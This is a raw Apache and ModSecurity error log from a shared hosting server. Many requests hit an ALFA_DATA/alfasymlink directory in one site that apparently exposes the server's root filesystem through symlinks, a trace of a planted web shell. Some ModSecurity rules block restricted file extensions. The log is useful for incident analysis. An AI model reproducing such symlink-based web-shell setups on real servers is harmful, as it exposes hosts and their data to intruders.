[Mon Oct 26 04:54:30.305107 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 54.162.69.192:52269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:54:38.180106 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 54.235.172.108:32227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/virtio2/driver/unbind
[Mon Oct 26 04:54:40.908329 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 185.191.171.5:63992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/cpu_partial
[Mon Oct 26 04:54:42.172235 2026] [core:error] [pid 3002067:tid 3002067] (13)Permission denied: [client 52.2.191.202:6425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/uevent
[Mon Oct 26 04:54:50.180151 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 3.208.156.9:61725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:54:57.927654 2026] [core:crit] [pid 3000167:tid 3000167] (13)Permission denied: [client 20.65.219.164:58196] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 04:55:06.323935 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 107.20.255.194:4217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_generic/new_id
[Mon Oct 26 04:55:09.471043 2026] [security2:error] [pid 3000190:tid 3000190] [client 107.172.76.131:52433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8VYFxyl3MgE8S63rJxCwAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 04:55:09.471109 2026] [security2:error] [pid 3000190:tid 3000190] [client 107.172.76.131:52433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8VYFxyl3MgE8S63rJxCwAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 04:55:10.219210 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.83.56.1:24321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:14.200375 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 18.209.137.234:63920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:18.163245 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 34.236.135.14:32523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:34.194176 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.205.222.214:14632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:46.177004 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.164.106.236:43384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:54.167252 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.3.104.214:59851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:55:58.186078 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 184.73.167.217:3456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:02.174547 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 34.234.197.175:54165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:10.155948 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 34.202.88.37:49128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:14.160633 2026] [core:error] [pid 3002067:tid 3002067] (13)Permission denied: [client 44.207.207.36:3893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/uevent
[Mon Oct 26 04:56:15.140444 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 85.208.96.209:40158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/alloc_calls
[Mon Oct 26 04:56:18.372232 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 3.210.114.189:35560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/uevent
[Mon Oct 26 04:56:22.293220 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 35.153.86.200:27947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:34.246484 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 44.212.232.231:5796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:42.167910 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 3.210.223.61:28860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/battery/bind
[Mon Oct 26 04:56:46.156919 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.3.155.146:3423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:50.063693 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 185.191.171.8:62972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:56:50.786761 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 3.230.224.6:59913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:02.149584 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 3.209.174.110:7857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:18.559262 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.197.102.71:6873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:22.182260 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 44.206.65.8:1163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_generic/remove_id
[Mon Oct 26 04:57:26.178963 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.2.58.41:63427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:29.142333 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 185.191.171.4:59922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/ctor
[Mon Oct 26 04:57:30.187460 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.45.77.169:6427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:38.170416 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.231.45.47:60417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:46.166645 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.204.71.8:55674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:52.157615 2026] [core:error] [pid 3002067:tid 3002067] (13)Permission denied: [client 185.191.171.16:34690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/usersize
[Mon Oct 26 04:57:54.152875 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.54.157.23:28138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:57:54.178139 2026] [security2:error] [pid 3000190:tid 3000190] [client 107.172.76.131:52433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WBFxyl3MgE8S63rJxFgAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 04:57:54.178168 2026] [security2:error] [pid 3000190:tid 3000190] [client 107.172.76.131:52433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WBFxyl3MgE8S63rJxFgAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 04:58:02.293734 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 107.20.255.194:24386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/virtio2/driver/uevent
[Mon Oct 26 04:58:07.854273 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 185.191.171.5:24432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objects
[Mon Oct 26 04:58:09.520501 2026] [security2:error] [pid 3000185:tid 3000185] [client 101.32.15.141:57842] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at8WIQDW2hE6vv9pQ57mfQAAACA"]
[Mon Oct 26 04:58:09.521548 2026] [authz_core:error] [pid 3000185:tid 3000185] [client 101.32.15.141:57842] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:58:10.429594 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 185.191.171.16:33528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/total_objects
[Mon Oct 26 04:58:14.306111 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 34.227.156.153:65484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:58:22.147734 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.209.89.189:43381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:58:30.173291 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.221.50.71:52182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:58:34.175057 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 34.234.206.30:1855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:58:42.183689 2026] [core:error] [pid 3000123:tid 3000123] (13)Permission denied: [client 185.191.171.11:16512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/red_zone
[Mon Oct 26 04:58:46.457979 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.221.222.168:15952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:58:53.934577 2026] [security2:error] [pid 3000181:tid 3000181] [client 107.172.76.131:52473] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WQAi6J9hoqgXMIYonkAAAAB0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:58:53.934641 2026] [security2:error] [pid 3000181:tid 3000181] [client 107.172.76.131:52473] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WQAi6J9hoqgXMIYonkAAAAB0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:58:54.158499 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.45.92.83:27218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:59:10.157941 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 34.204.150.196:57454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:05.0/rescan
[Mon Oct 26 04:59:14.265639 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 98.83.178.66:59200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:59:18.147446 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 3.217.82.254:1272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/unbind
[Mon Oct 26 04:59:22.149271 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 23.21.227.240:36031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:59:24.859508 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 185.191.171.13:56204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/remote_node_defrag_ratio
[Mon Oct 26 04:59:30.143315 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 98.83.10.183:1911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:59:33.528625 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 85.208.96.207:33922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/slabs
[Mon Oct 26 04:59:38.135678 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 54.84.147.79:22436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:59:54.179985 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 34.206.249.188:20444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/atkbd/serio0/drvctl
[Mon Oct 26 04:59:58.163948 2026] [ssl:error] [pid 3000176:tid 3000176] (5)Input/output error: [client 98.83.226.125:49925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:10.379166 2026] [proxy_fcgi:error] [pid 2995190:tid 2995190] [client 107.22.208.39:19827] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 05:00:22.524529 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 23.21.148.226:57873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:30.220548 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.212.106.171:16354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:34.285913 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 35.173.18.61:6580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:42.147272 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.215.235.20:26549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:46.287395 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 98.82.59.253:43754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:50.138230 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 54.84.250.51:20309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:54.148730 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 98.82.39.241:5110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:00:58.137514 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 3.226.106.93:37866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:01:02.145286 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 34.233.114.237:19106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0_wc
[Mon Oct 26 05:01:04.302856 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52596] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WxaQ6Y5B7MWdQ1CPmNwAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:01:04.302895 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52596] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8WxaQ6Y5B7MWdQ1CPmNwAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:01:06.152150 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 3.231.193.38:46352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:01:10.713636 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 35.173.38.202:54500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:01:30.034057 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 185.191.171.13:46218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/remote_node_defrag_ratio
[Mon Oct 26 05:01:50.035078 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 185.191.171.5:21986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/usersize
[Mon Oct 26 05:01:50.201644 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 23.21.250.48:64452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:01:54.718998 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 85.208.96.194:47848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:01:58.314812 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.194.233.48:42603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:06.184181 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 44.208.223.68:55478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:10.320336 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.204.37.237:58666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:20.147031 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 185.191.171.18:46270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/lfd
[Mon Oct 26 05:02:30.198094 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 184.73.68.20:18947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:34.177535 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.215.59.93:22507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:46.269996 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.3.127.170:39266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:02:54.134868 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.163.136.244:63416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:03:02.213307 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 34.195.248.30:13424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:03:14.144636 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.4.238.8:14431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:03:26.156715 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 54.163.136.244:27950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:03:30.206425 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.210.223.61:53642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:03:34.846513 2026] [core:error] [pid 3003468:tid 3003468] (13)Permission denied: [client 185.191.171.5:35734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/irqbypass/sections/__ksymtab_gpl
[Mon Oct 26 05:03:59.050115 2026] [security2:error] [pid 3000185:tid 3000185] [client 43.160.241.129:35664] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/direc3/"] [unique_id "at8XfwDW2hE6vv9pQ57mjwAAACA"]
[Mon Oct 26 05:04:00.752694 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.200:13030] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pol"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/EMPTY.pol"] [unique_id "at8XgDoMefr8xIwXotdB6wAAAAI"]
[Mon Oct 26 05:04:00.753073 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.200:13030] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/EMPTY.pol"] [unique_id "at8XgDoMefr8xIwXotdB6wAAAAI"]
[Mon Oct 26 05:04:00.753420 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.200:13030] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/EMPTY.pol"] [unique_id "at8XgDoMefr8xIwXotdB6wAAAAI"]
[Mon Oct 26 05:04:02.142887 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 18.215.24.66:7489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:04:06.140458 2026] [security2:error] [pid 3000182:tid 3000182] [client 54.88.84.219:18709] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/"] [unique_id "at8Xhvx_QWKZoq9_Fp9s4gAAAB4"]
[Mon Oct 26 05:04:06.140499 2026] [security2:error] [pid 3000182:tid 3000182] [client 54.88.84.219:18709] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/"] [unique_id "at8Xhvx_QWKZoq9_Fp9s4gAAAB4"]
[Mon Oct 26 05:04:10.217469 2026] [core:error] [pid 3000123:tid 3000123] (13)Permission denied: [client 54.80.185.200:13551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/uartclk
[Mon Oct 26 05:04:20.918696 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 85.208.96.196:52302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/min_partial
[Mon Oct 26 05:04:22.168895 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 34.227.234.246:7151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:04:30.150412 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.216.172.204:35423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:04:58.156653 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.221.203.24:55594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:06.134959 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.243.63.52:44826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:30.138928 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 3.235.215.92:19974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:34.331903 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 23.23.99.55:1418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:38.189781 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.4.213.199:9827] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:42.146381 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 52.200.93.170:33590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:46.143924 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.200.54.136:33111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:54.116352 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.71.216.196:25544] AH02013: coalesce failed to read from data bucket
